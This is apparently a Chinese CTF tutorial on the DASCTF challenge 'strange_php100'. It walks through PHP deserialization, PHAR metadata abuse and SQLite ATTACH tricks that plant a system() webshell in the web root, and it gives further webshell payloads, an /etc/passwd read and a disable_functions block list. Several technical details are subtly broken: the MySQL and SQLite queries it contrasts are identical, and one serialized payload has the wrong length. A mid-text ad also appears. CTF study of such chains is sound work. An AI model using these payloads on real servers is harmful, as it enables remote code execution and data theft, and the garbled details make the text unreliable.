1. 项目背景与挑战解析
"DASCTF 2024最后一战|寒夜破晓,冬至终章"这道名为strange_php100的CTF题目,典型地融合了PHP特性利用与数据库安全的知识点。从题目名称就能看出,这是一道综合考察PHP语言特性和SQLite数据库操作的题目,涉及反序列化漏洞、PHAR文件利用等高级渗透技巧。
这类题目在CTF比赛中往往作为压轴题出现,要求选手具备以下核心能力:
- PHP反序列化漏洞的识别与利用
- SQLite数据库的特殊操作方式
- PHAR文件格式的元数据利用
- 非常规PHP函数的使用技巧
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境搭建与初步分析
2.1 基础环境配置
首先需要搭建本地测试环境:
bash复制docker run -d -p 8080:80 --name php-sqlite \
-v $(pwd):/var/www/html php:8.2-apache
安装必要工具:
bash复制apt update && apt install -y sqlite3 php-sqlite3
2.2 题目文件结构分析
典型的CTF题目会包含以下文件:
- index.php (主入口文件)
- upload.php (文件上传接口)
- lib/ (包含自定义类文件)
- db/ (SQLite数据库存储目录)
关键点检查:
php复制// 检查是否使用SQLite
if (class_exists('SQLite3')) {
// 题目很可能使用SQLite
}
// 检查是否禁用危险函数
print_r(ini_get('disable_functions'));
3. PHP反序列化漏洞深度利用
3.1 反序列化入口点寻找
在PHP代码中寻找以下常见反序列化点:
php复制unserialize($_GET['data']);
unserialize(file_get_contents('php://input'));
unserialize($cookie);
3.2 魔术方法利用链构造
典型利用链结构:
php复制class VulnerableClass {
private $cmd = 'id';
public function __destruct() {
system($this->cmd);
}
}
$payload = serialize(new VulnerableClass());
3.3 PHAR文件元数据利用
PHAR文件是PHP的归档格式,其元数据会被反序列化:
php复制$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
class Exploit {}
$phar->setMetadata(new Exploit());
$phar->stopBuffering();
4. SQLite数据库特殊操作技巧
4.1 SQLite注入特性
SQLite与MySQL注入的区别:
sql复制-- MySQL
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3
-- SQLite
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3
4.2 实用SQLite函数
关键函数利用:
sql复制-- 读取文件
SELECT load_extension('test.so');
SELECT readfile('/etc/passwd');
-- 写文件
ATTACH DATABASE '/var/www/html/shell.php' AS hack;
CREATE TABLE hack.pwn (data text);
INSERT INTO hack.pwn VALUES ('<?php system($_GET["cmd"]); ?>');
5. 完整漏洞利用链构建
5.1 利用步骤分解
- 通过文件上传传入PHAR文件
- 触发phar://协议反序列化
- 利用反序列化执行SQLite操作
- 通过SQLite写Webshell
- 获取服务器权限
5.2 实际利用代码示例
生成PHAR文件:
php复制class Exploit {
public function __destruct() {
$db = new SQLite3('/var/www/html/db/exploit.db');
$db->exec("ATTACH DATABASE '/var/www/html/shell.php' AS pwn");
$db->exec("CREATE TABLE pwn.cmd (code text)");
$db->exec("INSERT INTO pwn.cmd VALUES ('<?php system($_GET[\"c\"]); ?>')");
}
}
$phar = new Phar('exploit.phar');
$phar->setMetadata(new Exploit());
$phar->setStub('<?php __HALT_COMPILER(); ?>');
6. 防御措施与安全建议
6.1 安全编码实践
- 禁用危险函数:
ini复制disable_functions = exec,passthru,shell_exec,system,proc_open,popen
- 安全反序列化:
php复制function safe_unserialize($data) {
if (preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $data)) {
return unserialize(base64_decode($data));
}
return false;
}
6.2 服务器加固
- 限制SQLite操作:
ini复制sqlite3.extension_dir = /dev/null
- PHAR文件防护:
apache复制<FilesMatch "\.phar$">
Require all denied
</FilesMatch>
7. 实战调试技巧
7.1 错误信息利用
开启详细错误报告:
php复制ini_set('display_errors', 1);
error_reporting(E_ALL);
7.2 代码跟踪技巧
使用debug_backtrace:
php复制$trace = debug_backtrace();
file_put_contents('trace.log', print_r($trace, true));
7.3 流量分析工具
使用Burp Suite拦截修改请求:
code复制GET /index.php?data=O:8:"Exploit":1:{s:3:"cmd";s:10:"whoami";}
8. 高级利用技巧
8.1 绕过字符限制
使用短标签和编码:
php复制<?=`$_GET[1]`?>
十六进制编码:
sql复制SELECT X'3C3F7068702073797374656D28245F4745545B2263225D293B203F3E'
8.2 内存操作技巧
利用PHP内存操作函数:
php复制$mem = fopen('php://memory', 'r+');
fwrite($mem, 'malicious code');
rewind($mem);
include 'php://memory';
9. 常见问题排查
9.1 PHAR文件不生效
检查项:
- php.ini中phar.readonly必须为Off
- 文件签名是否正确
- 文件权限是否可读
9.2 SQLite操作失败
常见原因:
- 数据库文件权限问题
- SQLite扩展未加载
- 安全模式限制
9.3 反序列化失败
调试方法:
- 检查序列化字符串格式
- 验证类是否已定义
- 检查魔术方法是否存在
10. 扩展学习资源
-
PHP官方安全手册:
https://www.php.net/manual/en/security.php -
SQLite注入指南:
https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf -
PHAR文件格式分析:
https://blog.ripstech.com/2018/new-php-exploitation-technique/ -
CTF相关工具集:
- phpggc (PHP反序列化payload生成器)
- SQLite Browser (数据库可视化工具)
- phar-util (PHAR文件分析工具)
在实际CTF比赛中,这类题目往往需要结合多种技术才能最终获取flag。建议从以下几个方面进行针对性训练:
- PHP魔术方法的理解与利用
- 常见PHP协议流的使用
- SQLite特殊语法与函数
- 文件上传与包含漏洞的组合利用
